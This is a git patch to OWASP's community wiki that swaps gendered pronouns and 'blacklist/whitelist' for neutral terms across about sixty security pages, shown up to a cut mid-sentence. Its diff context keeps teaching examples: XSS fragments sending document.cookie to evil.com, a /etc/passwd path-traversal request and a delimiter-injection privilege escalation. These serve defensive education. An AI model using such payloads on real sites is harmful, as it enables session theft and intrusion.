From 003d5ec1500c0f3d6366eaa47ad9ac910f8b1082 Mon Sep 17 00:00:00 2001 From: kingthorin Date: Tue, 7 Jul 2020 07:18:56 -0400 Subject: [PATCH] Gender pronouns and other neutral terms (#230) Closes OWASP/www-community#229 - Replace "she" with they - Replace "he" with they - Replace "him" with them - Replace "him/her" with them - Replace "her" with their - Replace "his" with their - Replace "he/she" with they - Replace "he or she" with they - Replace "blacklist" and variants with deny list - Replace "whitelist" and variants with allow list Didn't touch any content under social/chapters all day. --- pages/ASP.NET_Request_Validation.md | 2 +- pages/Access_Control.md | 2 +- pages/Anti_CRSF_Tokens_ASP.NET.md | 2 +- pages/CRV2_AppThreatModeling.md | 2 +- pages/Component_Analysis.md | 6 ++-- pages/Fuzzing.md | 2 +- pages/OWASP_Application_Security_FAQ.md | 24 +++++++-------- ...ne_Guessing_Attacks_with_Device_Cookies.md | 4 +-- pages/Types_of_Cross-Site_Scripting.md | 2 +- pages/Virtual_Patching_Best_Practices.md | 6 ++-- pages/attacks/Blind_SQL_Injection.md | 4 +-- pages/attacks/Blind_XPath_Injection.md | 4 +-- pages/attacks/Code_Injection.md | 4 +-- pages/attacks/Command_Injection.md | 2 +- pages/attacks/Comment_Injection_Attack.md | 4 +-- pages/attacks/Content_Spoofing.md | 2 +- pages/attacks/Cross-User_Defacement.md | 2 +- pages/attacks/Cross-site-Scripting-(XSS).md | 2 +- pages/attacks/Cross_Frame_Scripting.md | 12 ++++---- pages/attacks/Cross_Site_Tracing.md | 2 +- pages/attacks/DOM_Based_XSS.md | 6 ++-- pages/attacks/Forced_browsing.md | 6 ++-- pages/attacks/Form_action_hijacking.md | 2 +- pages/attacks/Man-in-the-browser_attack.md | 2 +- pages/attacks/Man-in-the-middle_attack.md | 2 +- ...ile_code_invoking_untrusted_mobile_code.md | 2 +- .../Mobile_code_non-final_public_field.md | 2 +- pages/attacks/Mobile_code_object_hijack.md | 4 +-- pages/attacks/Parameter_Delimiter.md | 8 ++--- pages/attacks/Path_Traversal.md | 2 +- pages/attacks/Qrljacking.md | 30 +++++++++---------- pages/attacks/Reflected_DOM_Injection.md | 2 +- pages/attacks/SQL_Injection.md | 4 +-- pages/attacks/Session_Prediction.md | 6 ++-- pages/attacks/Session_fixation.md | 4 +-- pages/attacks/Session_hijacking_attack.md | 2 +- pages/attacks/Setting_Manipulation.md | 4 +-- pages/attacks/Special_Element_Injection.md | 8 ++--- pages/attacks/Web_Parameter_Tampering.md | 4 +-- pages/attacks/XPATH_Injection.md | 4 +-- pages/attacks/cross-site-request-forgery.md | 8 ++--- .../controls/Blocking_Brute_Force_Attacks.md | 2 +- .../Certificate_and_Public_Key_Pinning.md | 10 +++---- ...ct_profiling_phase_into_web_application.md | 8 ++--- pages/initiatives/code_sprint/wcs2014.md | 4 +-- pages/initiatives/gsoc/gsoc2012ideas.md | 2 +- pages/initiatives/gsoc/gsoc2013ideas.md | 6 ++-- pages/initiatives/gsoc/gsoc2014ideas.md | 6 ++-- pages/initiatives/gsoc/gsoc2016ideas.md | 2 +- pages/initiatives/gsoc/gsoc2017.md | 8 ++--- pages/initiatives/gsoc/gsoc2019.md | 8 ++--- pages/initiatives/gsoc/gsoc2019ideas.md | 2 +- pages/initiatives/gsoc/gsoc2020.md | 8 ++--- .../Deserialization_of_untrusted_data.md | 6 ++-- .../vulnerabilities/Doubly_freeing_memory.md | 2 +- .../Insufficient_Session-ID_Length.md | 2 +- .../vulnerabilities/Missing_Error_Handling.md | 2 +- .../Unrestricted_File_Upload.md | 12 ++++---- .../XML_External_Entity_(XXE)_Processing.md | 2 +- pages/xss-filter-evasion-cheatsheet.md | 2 +- 60 files changed, 148 insertions(+), 148 deletions(-) diff --git a/pages/ASP.NET_Request_Validation.md b/pages/ASP.NET_Request_Validation.md index 05f5408e46..aaa8ee1d78 100644 --- a/pages/ASP.NET_Request_Validation.md +++ b/pages/ASP.NET_Request_Validation.md @@ -42,7 +42,7 @@ validating each field of user supplied data. This should start with - Required fields - Correct data type and length - Data falls within an acceptable range -- Whitelist of allowed characters +- Allow list of permitted characters Any string input that is returned to the client should be encoded using an appropriate method, such as those provided via diff --git a/pages/Access_Control.md b/pages/Access_Control.md index 6ad1a3bbfb..5ecffb69cb 100644 --- a/pages/Access_Control.md +++ b/pages/Access_Control.md @@ -173,7 +173,7 @@ on their access. From the perspective of end-users of a system, access control should be mandatory whenever possible, as opposed to discretionary. Mandatory access control means that the system establishes and enforces a policy -for user data, and the user does not get to make his own decisions of +for user data, and the user does not get to make their own decisions of who else in the system can access data. In discretionary access control, the user can make such decisions. Enforcing a conservative mandatory access control policy can help prevent operational security errors, diff --git a/pages/Anti_CRSF_Tokens_ASP.NET.md b/pages/Anti_CRSF_Tokens_ASP.NET.md index 056c166ef0..2003df611c 100644 --- a/pages/Anti_CRSF_Tokens_ASP.NET.md +++ b/pages/Anti_CRSF_Tokens_ASP.NET.md @@ -20,7 +20,7 @@ Authentication) is exactly what allows CSRF to take place - but this only the first piece for a successful CSRF attack. The second piece is a web form or request which contains parameters -**predictable** enough that an attacker could craft his own malicious +**predictable** enough that an attacker could craft their own malicious form/request which, in turn, would be successfully accepted by the target service. Then, usually through social engineering or XSS, the victim would trigger that malicious form/request submission **while diff --git a/pages/CRV2_AppThreatModeling.md b/pages/CRV2_AppThreatModeling.md index 0bd00f52b2..8395f38382 100644 --- a/pages/CRV2_AppThreatModeling.md +++ b/pages/CRV2_AppThreatModeling.md @@ -1953,7 +1953,7 @@ Data Validation / Parameter Validation 2. All data sent from the client is validated 3. No security decision is based upon parameters (e.g. URL parameters) that can be manipulated -4. Input filtering via white list validation is used +4. Input filtering via allow list validation is used 5. Output encoding is used diff --git a/pages/Component_Analysis.md b/pages/Component_Analysis.md index 144ec47fe5..f7ccb9d2bb 100644 --- a/pages/Component_Analysis.md +++ b/pages/Component_Analysis.md @@ -118,7 +118,7 @@ Public repositories that have code-signing and verification requirements have so repositories without basic countermeasures do not. For no-trust or low-trust repositories, utilizing private repositories may be advantageous. Private repositories refer to repositories where access is limited, usually software that organizations install and control, or a commercially available service. *Golden repositories* containing vetted or -whitelisted components are a common use-case for private repositories. Private repository services focusing on security +permitted components are a common use-case for private repositories. Private repository services focusing on security may additionally provide anti-malware analysis and static source code analysis requirements prior to acceptance in the repository. When leveraging private repositories, it is important to have traceability to the components' repository of origin. @@ -222,7 +222,7 @@ risk. Policies typically include: - Restrictions on public repository usage - Restrictions on acceptable licenses - Component update requirements - - Blacklist of prohibited components and versions + - Deny list of prohibited components and versions - Acceptable community contribution guidelines While the open source policy is usually filled with restrictions, it provides an organizations security, development, @@ -242,7 +242,7 @@ and legal teams an opportunity to create solutions for healthy open source usage untrusted ones. - Automate component updates (from trusted repositories only) - Provide time-boxed allowances every sprint to maintain component hygiene - - Establish a whitelist of acceptable licenses, a blacklist of prohibited licenses, and seek advice from counsel for + - Establish a allowed list of acceptable licenses, a deny list of prohibited licenses, and seek advice from counsel for all other licenses - Automate the creation of software bill-of-materials (SBOM) for all deliverables - Leverage Package URL for describing components within SBOMs diff --git a/pages/Fuzzing.md b/pages/Fuzzing.md index 0119743900..3d79ea4006 100644 --- a/pages/Fuzzing.md +++ b/pages/Fuzzing.md @@ -32,7 +32,7 @@ software implementation faults, and identify them if possible. ## History Fuzz testing was developed at the University of Wisconsin Madison in -1989 by Professor Barton Miller and his students. Their (continued) work +1989 by Professor Barton Miller and students. Their (continued) work can be found at ; it's mainly oriented towards command-line and UI fuzzing, and shows that modern operating systems are vulnerable to even simple fuzzing. diff --git a/pages/OWASP_Application_Security_FAQ.md b/pages/OWASP_Application_Security_FAQ.md index c4611ca619..2ed629dafa 100644 --- a/pages/OWASP_Application_Security_FAQ.md +++ b/pages/OWASP_Application_Security_FAQ.md @@ -295,22 +295,22 @@ Although SSL provides a lot of security, SSL alone is not enough to prevent variable manipulation attacks. SSL was supposed to prevent against Man in the Middle attacks but it is vulnerable to it. To successfully carry out the MITM attack, first the attacker has to divert -the victim's requests to his machine i.e. redirecting the packets meant -for the server to himself. He can do this by ARP poisoning / DNS Cache -poisoning. Once he is able to redirect, he can see all the requests the +the victim's requests to their machine i.e. redirecting the packets meant +for the server to himself. They can do this by ARP poisoning / DNS Cache +poisoning. Once they are able to redirect, they can see all the requests the victim is trying to make. Now when the victim tries to establish an SSL -connection with a legitimate server, he gets connected to the attacker. +connection with a legitimate server, they get connected to the attacker. The attacker, during the SSL Handshaking, provides a fake certificate to -the victim, which the victim accepts even though the browser warns him. +the victim, which the victim accepts even though the browser warns them. Thus, the victim establishes an SSL connection with the attacker instead of the server. The attacker establishes a different SSL connection with that legitimate server, which the victim was trying to connect. Now all data flow between the victim and the server will be routed through the attacker and the attacker can see all data the victim (as well as the server) sends. This is because the victim will encrypt all data with the -attacker's public key, which the attacker can decrypt with his private +attacker's public key, which the attacker can decrypt with their private key. The attacker can then manipulate all data that is passing through -his machine. +their machine. ## Is there some way to prevent these proxy tools from editing the data? @@ -560,7 +560,7 @@ futile as any scanner targeting a web site, will normally not care what the web server is. The scanner will run ALL its tests no matter if they apply to the system or not. This is a typical shotgun approach. A bad guy targeting the site might be hampered by not knowing the exact -version, but if he's determined he would still try out all related +version, but if they're determined they would still try out all related exploits and try to break in. # Testing @@ -770,11 +770,11 @@ An attacker can hijack another user's session by stealing the session token. Methods have been suggested to prevent the session from being hijacked even if the session token is stolen. For instance, using a session token that is a function of the user's IP address. In this -approach, even if the attacker stole the token, he would need the same +approach, even if the attacker stole the token, they would need the same IP address as the user to successfully hijack a session. However, session hijacking can still be possible. Suppose the attacker is on the same LAN as the user and uses the same Proxy IP as the user to access -the web site. The attacker can still steal the session if he is able to +the web site. The attacker can still steal the session if they are able to sniff the session token. It may also be not possible to implement this if the IP of the client changes during a session, making the session invalid if the token is tied to the initial IP address. This may happen @@ -798,7 +798,7 @@ page. Only if the token submitted matches what the server is expecting is the next page served. An application can use this to ensure that a user accesses pages only in the sequence determined by the application. The user cannot paste a deep URL in the browser and skip pages just -because he has a session token, as the page token would not be +because they have a session token, as the page token would not be authorized to access the deeper URL directly. Good Read: [Secure your sessions with Page Tokens](http://palisade.plynt.com/issues/2005Aug/page-tokens/) @@ -860,7 +860,7 @@ not tampered. ## Can I trust the IP address of a user I see in my audit logs? Could a user be spoofing/impersonating their IP address? -A bad guy who wants to hide his actual IP address might use a service +A bad person who wants to hide their actual IP address might use a service like anonymizer, or use open HTTP relays. \[HTTP open relays are improperly configured web servers on the web that are used as a HTTP proxy to connect to other sites.\] In such cases, the IP address you see diff --git a/pages/Slow_Down_Online_Guessing_Attacks_with_Device_Cookies.md b/pages/Slow_Down_Online_Guessing_Attacks_with_Device_Cookies.md index 0a5336c9be..81d7160fe4 100644 --- a/pages/Slow_Down_Online_Guessing_Attacks_with_Device_Cookies.md +++ b/pages/Slow_Down_Online_Guessing_Attacks_with_Device_Cookies.md @@ -18,11 +18,11 @@ For example, it was discussed by Marc Heuse at [PasswordsCon 14](http://passwords14.item.ntnu.no/). Marc speculates on various techniques for blocking online attacks and comes -to notion of "device cookie" as good protection alternative (see his +to notion of "device cookie" as good protection alternative (see the [talk](https://mediasite.ntnu.no/Mediasite/Play/2133729a627b44a491778e135f602a611d) on Hydra at PasswordsCon 14, specifically from 32:50). As well as Alec Muffett at the same conference mentions "datr cookie" from Facebook (look from -10:15 of his [talk](https://mediasite.ntnu.no/Mediasite/Play/db5258ede8f94e69ad763fbe30f105a71d)). +10:15 of the [talk](https://mediasite.ntnu.no/Mediasite/Play/db5258ede8f94e69ad763fbe30f105a71d)). The main idea behind the protocol is to issue a special “device” cookie to every client (browser) when it is used to successfully authenticate a diff --git a/pages/Types_of_Cross-Site_Scripting.md b/pages/Types_of_Cross-Site_Scripting.md index d839c900d8..98a249be3a 100644 --- a/pages/Types_of_Cross-Site_Scripting.md +++ b/pages/Types_of_Cross-Site_Scripting.md @@ -21,7 +21,7 @@ other. Early on, two primary types of [XSS](attacks/xss/) were identified, Stored XSS and Reflected XSS. In 2005, [Amit Klein defined a third type of XSS](http://www.webappsec.org/projects/articles/071105.shtml), which -he coined [DOM Based XSS](attacks/DOM_Based_XSS). These 3 types of +Amit coined [DOM Based XSS](attacks/DOM_Based_XSS). These 3 types of XSS are defined as follows: ### [Stored XSS](attacks/xss/#stored-xss-attacks) (AKA Persistent or Type I) diff --git a/pages/Virtual_Patching_Best_Practices.md b/pages/Virtual_Patching_Best_Practices.md index b41f540a9e..4dedf62bdc 100644 --- a/pages/Virtual_Patching_Best_Practices.md +++ b/pages/Virtual_Patching_Best_Practices.md @@ -399,9 +399,9 @@ attacks rather than allow only valid traffic. It is important to note that the differentiation between negative and positive security models is subjective and reflects how tight the security envelope around the application is. A good example would be limiting the characters allowed -in an input field. Since the character set is a closed set, providing a -white list of permitted characters is actually similar to providing a -black list of forbidden characters including the characters +in an input field. Since the character set is a closed set, providing an +allow list of permitted characters is actually similar to providing a +deny list of forbidden characters including the characters complementing the 1st group. Positive Security Virtual Patches Positive security model is a comprehensive security mechanism that provides an independent input validation envelope to an application. The model diff --git a/pages/attacks/Blind_SQL_Injection.md b/pages/attacks/Blind_SQL_Injection.md index 2c7243de32..35d805a04e 100644 --- a/pages/attacks/Blind_SQL_Injection.md +++ b/pages/attacks/Blind_SQL_Injection.md @@ -151,8 +151,8 @@ to even small deviations from the rule. This includes: ### Remote Database Fingerprinting -If the attacker is able to determine when his query returns True or -False, then he may fingerprint the RDBMS. This will make the whole +If the attacker is able to determine when their query returns True or +False, then they may fingerprint the RDBMS. This will make the whole attack much easier. If the time-based approach is used, this helps determine what type of database is in use. Another popular methods to do this is to call functions which will return the current date. MySQL, diff --git a/pages/attacks/Blind_XPath_Injection.md b/pages/attacks/Blind_XPath_Injection.md index 0b1d5335ba..a18543f597 100644 --- a/pages/attacks/Blind_XPath_Injection.md +++ b/pages/attacks/Blind_XPath_Injection.md @@ -21,7 +21,7 @@ can be used to reference almost any part of an XML document without access control restrictions. In SQL, a "user" (which is a term undefined in the XPath/XML context) may be restricted to certain databases, tables, columns, or queries. Using an XPATH Injection attack, an -attacker is able to modify the XPATH query to perform an action of his +attacker is able to modify the XPATH query to perform an action of their choosing. Blind XPath Injection attacks can be used to extract data from an @@ -53,7 +53,7 @@ XPath expression is True or False. Let's assume that the aim of the attacker is to log in to an account in a web application. A Successful log in would return "True" and failed log in attempt would return "False". Only a small portion of the information is targeted via the -analyzed character or number. When the attacker focuses on a string he +analyzed character or number. When the attacker focuses on a string they may reveal it in its entirety by checking every single character within the class/range of characters this string belongs to. diff --git a/pages/attacks/Code_Injection.md b/pages/attacks/Code_Injection.md index 573ec3287d..9411b5f3b8 100644 --- a/pages/attacks/Code_Injection.md +++ b/pages/attacks/Code_Injection.md @@ -28,7 +28,7 @@ Code Injection differs from [Command Injection](Command_Injection "wikilink") in that an attacker is only limited by the functionality of the injected language itself. If an attacker is able to inject PHP code into an application and have it -executed, he is only limited by what PHP is capable of. Command +executed, they are only limited by what PHP is capable of. Command injection consists of leveraging existing code to execute commands, usually within the context of a shell. @@ -57,7 +57,7 @@ The URL below passes a page name to the include() function. The file "evilcode.php" may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the -application to execute his PHP code using the following request: +application to execute their PHP code using the following request: diff --git a/pages/attacks/Command_Injection.md b/pages/attacks/Command_Injection.md index 10f6625a25..977d4c3658 100644 --- a/pages/attacks/Command_Injection.md +++ b/pages/attacks/Command_Injection.md @@ -24,7 +24,7 @@ application. Command injection attacks are possible largely due to insufficient input validation. This attack differs from [Code Injection](Code_Injection "wikilink"), in -that code injection allows the attacker to add his own code that is then +that code injection allows the attacker to add their own code that is then executed by the application. In Command Injection, the attacker extends the default functionality of the application, which execute system commands, without the necessity of injecting code. diff --git a/pages/attacks/Comment_Injection_Attack.md b/pages/attacks/Comment_Injection_Attack.md index 23802c85eb..d25b5950dd 100644 --- a/pages/attacks/Comment_Injection_Attack.md +++ b/pages/attacks/Comment_Injection_Attack.md @@ -31,7 +31,7 @@ or scripting languages: **Database:** If the attacker has the ability to manipulate queries which are sent to -the database, then he's able to inject a terminating character too. The +the database, then they're able to inject a terminating character too. The aftermath is that the interpretation of the query will be stopped at the terminating character: @@ -61,7 +61,7 @@ Sequences that may be used to comment queries: To comment out some parts of the queries, the attacker may use the standard sequences, typical for a given language, or terminate the -queries using his own methods being limited only by his imagination. An +queries using their own methods being limited only by their imagination. An interesting example is a null byte method used to comment out everything after the current query in MS Access databases. More information about this can be found in [Embedding Null diff --git a/pages/attacks/Content_Spoofing.md b/pages/attacks/Content_Spoofing.md index 2beb401539..a88df7b431 100644 --- a/pages/attacks/Content_Spoofing.md +++ b/pages/attacks/Content_Spoofing.md @@ -93,7 +93,7 @@ A possible attack scenario is demonstrated below. For this scenario, lets assumes no output encoding is being implemented: 1. Attacker discovers injection vulnerability and decides to spoof a login form -2. Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email +2. Attacker crafts malicious link, including their injected HTML content, and sends it to a user via email 3. The user visits the page due to the page being located within a trusted domain 4. The attacker's injected HTML is rendered and presented to the user asking for a username and password 5. The user enters a username and password, which are both sent to the attackers server diff --git a/pages/attacks/Cross-User_Defacement.md b/pages/attacks/Cross-User_Defacement.md index 0c30a43332..28a2f1eed9 100644 --- a/pages/attacks/Cross-User_Defacement.md +++ b/pages/attacks/Cross-User_Defacement.md @@ -83,7 +83,7 @@ request: /index.html -the response \#2 will be send to him as an answer to his request. +the response \#2 will be sent to them as an answer to their request. This way it was possible to replace the web page, which was served to the specified user. diff --git a/pages/attacks/Cross-site-Scripting-(XSS).md b/pages/attacks/Cross-site-Scripting-(XSS).md index f8eda7bc0e..a58a208d76 100644 --- a/pages/attacks/Cross-site-Scripting-(XSS).md +++ b/pages/attacks/Cross-site-Scripting-(XSS).md @@ -350,7 +350,7 @@ boards, private messages, user profiles): The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker -then checks the results of his evil.php script (a cookie grabber script +then checks the results of their evil.php script (a cookie grabber script will usually write the cookie to a file) and use it. ### Error Page Example diff --git a/pages/attacks/Cross_Frame_Scripting.md b/pages/attacks/Cross_Frame_Scripting.md index cce1a07bda..e30bb144d8 100644 --- a/pages/attacks/Cross_Frame_Scripting.md +++ b/pages/attacks/Cross_Frame_Scripting.md @@ -40,7 +40,7 @@ which leaks keyboard events across HTML framesets (see iDefense Labs advisory [Microsoft Internet Explorer Cross Frame Scripting Restriction Bypass](http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=77)). This bug could allow, for example, an attacker to steal the login -credentials of a browser user as he or she tries to type them into the +credentials of a browser user as they try to type them into the login form of a third-party web page. ## Examples @@ -52,7 +52,7 @@ attacker may create a web page at evil.com, which the attacker controls, and include on the evil.com page a visible frame displaying the login page for example.com. The attacker can hide the frame's borders and expand the frame to cover the entire page, so that it looks to the -browser user like he or she is actually visiting example.com The +browser user like they are actually visiting example.com The attacker registers some javascript in the main evil.com page which listens for all key events on the page. Normally, this listener would be notified of events only from the main evil.com page -- but because of @@ -112,7 +112,7 @@ request to evil.com (the iframe's src URL is wrapped for legibility): ?c='+encodeURIComponent(document.cookie)+'\">')"> The iframe is hidden off-screen, so the browser user won't have any idea -that he or she just "visited" the example.com page. However, this attack +that they just "visited" the example.com page. However, this attack is effectively the same as a conventional XSS attack, since the attacker could have simply redirected the user directly to the example.com page, using a variety of methods, including a meta element like this (again, @@ -123,11 +123,11 @@ the meta element's URL is wrapped for legibility): ?c='+encodeURIComponent(document.cookie)+'\">')"> The only difference is that when using an iframe, the attacker can hide -the frame off-screen -- so the browser user won't have any idea that he -or she just "visited" example.com. When using a redirect to navigate +the frame off-screen -- so the browser user won't have any idea that they +just "visited" example.com. When using a redirect to navigate directly to example.com, the browser will display the example.com url in the browser's address bar, and the example.com page in the browser's -window, so the browser user will be aware that he or she is visiting +window, so the browser user will be aware that they are visiting example.com. ### Another XSS Attack Using Frames diff --git a/pages/attacks/Cross_Site_Tracing.md b/pages/attacks/Cross_Site_Tracing.md index 8cee9bcc24..0c3020f95d 100644 --- a/pages/attacks/Cross_Site_Tracing.md +++ b/pages/attacks/Cross_Site_Tracing.md @@ -35,7 +35,7 @@ introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that -he/she can hijack the victim's session. Tagging a cookie as +they can hijack the victim's session. Tagging a cookie as [HttpOnly](HttpOnly "wikilink") forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even diff --git a/pages/attacks/DOM_Based_XSS.md b/pages/attacks/DOM_Based_XSS.md index af2db79dd0..ffe5644105 100644 --- a/pages/attacks/DOM_Based_XSS.md +++ b/pages/attacks/DOM_Based_XSS.md @@ -36,7 +36,7 @@ more strictly as CLIENT SIDE XSS. ### Example Suppose the following code is used to create a form to let the user -choose his/her preferred language. A default language is also provided +choose their preferred language. A default language is also provided in the query string, as the parameter “default”. … @@ -126,10 +126,10 @@ flaw, but if not all users have downloaded the patch then those users are still vulnerable to this type of attack. Ivan Ristic did some research and proposed some server side defenses -against this type of attack in his presentation "Protecting Web +against this type of attack in the presentation "Protecting Web Applications from Universal PDF XSS: A discussion of how weird the web application security world has become" at the [2007 OWASP Europe AppSec -Conference](OWASP_AppSec_Europe_2007_-_Italy "wikilink") in Milan. His +Conference](OWASP_AppSec_Europe_2007_-_Italy "wikilink") in Milan. The presentation (\[5\]) can be downloaded [here](http://www.owasp.org/images/c/c2/OWASPAppSec2007Milan_ProtectingWebAppsfromUniversalPDFXSS.ppt). diff --git a/pages/attacks/Forced_browsing.md b/pages/attacks/Forced_browsing.md index 714a6c7d6e..092f2265b6 100644 --- a/pages/attacks/Forced_browsing.md +++ b/pages/attacks/Forced_browsing.md @@ -39,14 +39,14 @@ Enumeration, Directory Enumeration, and Resource Enumeration. This example presents a technique of Predictable Resource Location attack, which is based on a manual and oriented identification of -resources by modifying URL parameters. The user1 wants to check his +resources by modifying URL parameters. The user1 wants to check their on-line agenda through the following URL: ` www.site-example.com/users/calendar.php/user1/20070715 ` In the URL, it is possible to identify the username (“user1”) and the date (mm/dd/yyyy). If the user attempts to make a forced browsing -attack, he could guess another user’s agenda by predicting user +attack, they could guess another user's agenda by predicting user identification and date, as follow: ` www.site-example.com/users/calendar.php/user6/20070716 ` @@ -107,4 +107,4 @@ Manipulation](category:Resource_Manipulation "wikilink") __NOTOC__ [Category:OWASP ASDR Project](Category:OWASP_ASDR_Project "wikilink") [need content](Category:FIXME "wikilink") -[Category:Attack](Category:Attack "wikilink") \ No newline at end of file +[Category:Attack](Category:Attack "wikilink") diff --git a/pages/attacks/Form_action_hijacking.md b/pages/attacks/Form_action_hijacking.md index 3a5025ef38..b38f2c4484 100644 --- a/pages/attacks/Form_action_hijacking.md +++ b/pages/attacks/Form_action_hijacking.md @@ -27,7 +27,7 @@ Check parameter values passed to the form action. See example below. ## How to Prevent Form Action Hijacking Vulnerabilities -Hard-code the form action URL or use a whitelist of allowed URLs. +Hard-code the form action URL or use an allowed list of permitted URLs. ## Examples diff --git a/pages/attacks/Man-in-the-browser_attack.md b/pages/attacks/Man-in-the-browser_attack.md index 1a4ca0215f..cecf769183 100644 --- a/pages/attacks/Man-in-the-browser_attack.md +++ b/pages/attacks/Man-in-the-browser_attack.md @@ -30,7 +30,7 @@ as they are formed on the browser, but still displaying back the user's intended transaction. Normally, the victim must be smart in order to notice a signal of such -attack while he is accessing a web application like an internet banking +attack while they are accessing a web application like an internet banking account, even in presence of SSL channels, because all expected controls and security mechanisms are displayed and work normally. diff --git a/pages/attacks/Man-in-the-middle_attack.md b/pages/attacks/Man-in-the-middle_attack.md index 9a0489227d..3472a8532e 100644 --- a/pages/attacks/Man-in-the-middle_attack.md +++ b/pages/attacks/Man-in-the-middle_attack.md @@ -45,7 +45,7 @@ independent SSL sessions, one over each TCP connection. The browser sets a SSL connection with the attacker, and the attacker establishes another SSL connection with the web server. In general the browser warns the user that the digital certificate used is not valid, but the user may -ignore the warning because he doesn’t understand the threat. In some +ignore the warning because they don’t understand the threat. In some specific contexts it’s possible that the warning doesn’t appear, as for example, when the Server certificate is compromised by the attacker or when the attacker certificate is signed by a trusted CA and the CN is diff --git a/pages/attacks/Mobile_code_invoking_untrusted_mobile_code.md b/pages/attacks/Mobile_code_invoking_untrusted_mobile_code.md index f8fee3292a..66c44e911b 100644 --- a/pages/attacks/Mobile_code_invoking_untrusted_mobile_code.md +++ b/pages/attacks/Mobile_code_invoking_untrusted_mobile_code.md @@ -19,7 +19,7 @@ execute malicious operations at the client side. By intercepting client traffic using the [man-in-the-middle](Man-in-the-middle_attack "wikilink") technique, a malicious user could modify the original mobile code with arbitrary -operations that will be executed on the client’s machine under his +operations that will be executed on the client’s machine under their credentials. In another scenario, the malicious mobile code could be hosted in an untrustworthy web site or it could be permanently injected on a vulnerable web site through an injection attack. This attack can be diff --git a/pages/attacks/Mobile_code_non-final_public_field.md b/pages/attacks/Mobile_code_non-final_public_field.md index 4d63c1bfa7..ef52bb4f3a 100644 --- a/pages/attacks/Mobile_code_non-final_public_field.md +++ b/pages/attacks/Mobile_code_non-final_public_field.md @@ -30,7 +30,7 @@ TBD ## Examples A Java applet from a certain application is acquired and subverted by an -attacker. Then, he makes the victim accept and run a Trojan or malicious +attacker. Then, they make the victim accept and run a Trojan or malicious code that was prepared to manipulate non-final objects’ state and behavior. This code is instantiated and executed continuously using default JVM on the victim’s machine. When the victim invokes the Java diff --git a/pages/attacks/Mobile_code_object_hijack.md b/pages/attacks/Mobile_code_object_hijack.md index 98f1f0533e..23e7fdc7bc 100644 --- a/pages/attacks/Mobile_code_object_hijack.md +++ b/pages/attacks/Mobile_code_object_hijack.md @@ -58,12 +58,12 @@ parent BankAccount class, as follows: `}` A Java applet from a certain application is acquired and subverted by an -attacker. Then, he makes the victim accept and run a +attacker. Then, they make the victim accept and run a [Trojan](Trojan_Horse "wikilink") or malicious code that was prepared to manipulate objects’ state and behavior. This code is instantiated and executed continuously using default JVM on victim’s machine. When the victim invokes the Java applet from the original application using the -same JVM, then the attacker clones the class, he manipulates the +same JVM, then the attacker clones the class, they manipulate the attributes values, and then substitutes the original object for the malicious one. diff --git a/pages/attacks/Parameter_Delimiter.md b/pages/attacks/Parameter_Delimiter.md index 7134527ac9..c5536d964f 100644 --- a/pages/attacks/Parameter_Delimiter.md +++ b/pages/attacks/Parameter_Delimiter.md @@ -41,10 +41,10 @@ and Alice user access: `Alice|87654321|alice@attack.com|normal|` `?>` -When a user wants to edit his profile, he must use the "edit account” -option in the “index.php” page and enter his login information. However, +When a user wants to edit their profile, they must use the "edit account” +option in the “index.php” page and enter their login information. However, using “|” as a parameter delimiter on email field followed by “admin”, -the user could elevate his privileges to administrator. Example: +the user could elevate their privileges to administrator. Example: `Username: Alice` `Password: 87654321` @@ -55,7 +55,7 @@ This information will be recorded in “mem.php” file like this: `Alice|87654321|alice@attack.com|admin|normal|` In this case, the last parameter delimiter considered is “|admin|” and -the user could elevate his privileges by assigning administrator +the user could elevate their privileges by assigning administrator profile. Although this vulnerability doesn’t allow manipulation of other users' diff --git a/pages/attacks/Path_Traversal.md b/pages/attacks/Path_Traversal.md index f94e1b1189..313d351552 100644 --- a/pages/attacks/Path_Traversal.md +++ b/pages/attacks/Path_Traversal.md @@ -129,7 +129,7 @@ http://some_site.com.br/get-files?file=/etc/passwd ``` Note: In a Windows system an attacker can navigate only in a partition -that locates web root while in the Linux he can navigate in the whole +that locates web root while in the Linux they can navigate in the whole disk. ### Example 2 diff --git a/pages/attacks/Qrljacking.md b/pages/attacks/Qrljacking.md index b5913bb28e..17c3145d27 100644 --- a/pages/attacks/Qrljacking.md +++ b/pages/attacks/Qrljacking.md @@ -30,12 +30,12 @@ taken dominance over any other alternatives. But not without many shortcomings, from risks like replay and phishing attacks to intrinsic problems like the "password fatigue” problem (in which a user is burdened with the need to remember an excessive number of passwords as -part of his daily routine), we are left with non-trivial design flaws +part of their daily routine), we are left with non-trivial design flaws that need to be addressed. Later on, new approaches have emerged to address these problems. One approach is the single sign-on system (a.k.a SSO), where a user can -simply have one single account that enables him to authenticate to +simply have one single account that enables them to authenticate to multiple services. This somewhat resolves the aforementioned "password fatigue” problem as a user no longer needs to burden himself with too many passwords to remember and no longer is tempted to develop bad @@ -53,7 +53,7 @@ they require additional technology to be deployed. Recently, a new SSO model that relies on QR-code-based one-time passwords has been introduced to further address such flaws. In a QR-code-based login, a user may only need to scan a QR code generated by -the service he’s trying to authenticate to, and then a client app on a +the service they're trying to authenticate to, and then a client app on a trusted device such as a smartphone would scan and transmit the QR code to an identity provider in order to validate it and further authenticate the user to the destination service. Hence conducting a seamless and @@ -153,8 +153,8 @@ resulting in accounts stealing and reputation affection. **2. Information Disclosure** -When the victim scans the QR code he is giving the attacker much more -information like for example (his accurate current GPS location, Device +When the victim scans the QR code they are giving the attacker much more +information like for example (their accurate current GPS location, Device type, IMEI, SIM Card Information and any other sensitive information that the client application presents at the login process) @@ -166,7 +166,7 @@ communicate with the service servers to clarify some information about the user which can be used later in the user’s application. Unfortunately sometimes this data is exchanged over insecure network connection which makes it easy for this data to be controlled by the -attacker giving him the ability to alter or even remove it. +attacker giving them the ability to alter or even remove it. # QRLJacking Requirements @@ -193,14 +193,14 @@ trustworthy. Here are some examples: A skilled social engineer attacker will find this mission easy to convince the victim to scan the QR Code by cloning the whole web -application login page with an exact one but with his own attacker side +application login page with an exact one but with their own attacker side QR Code. **2. Hacked highly-trusted websites and services** Hacked websites are prone to be injected with a 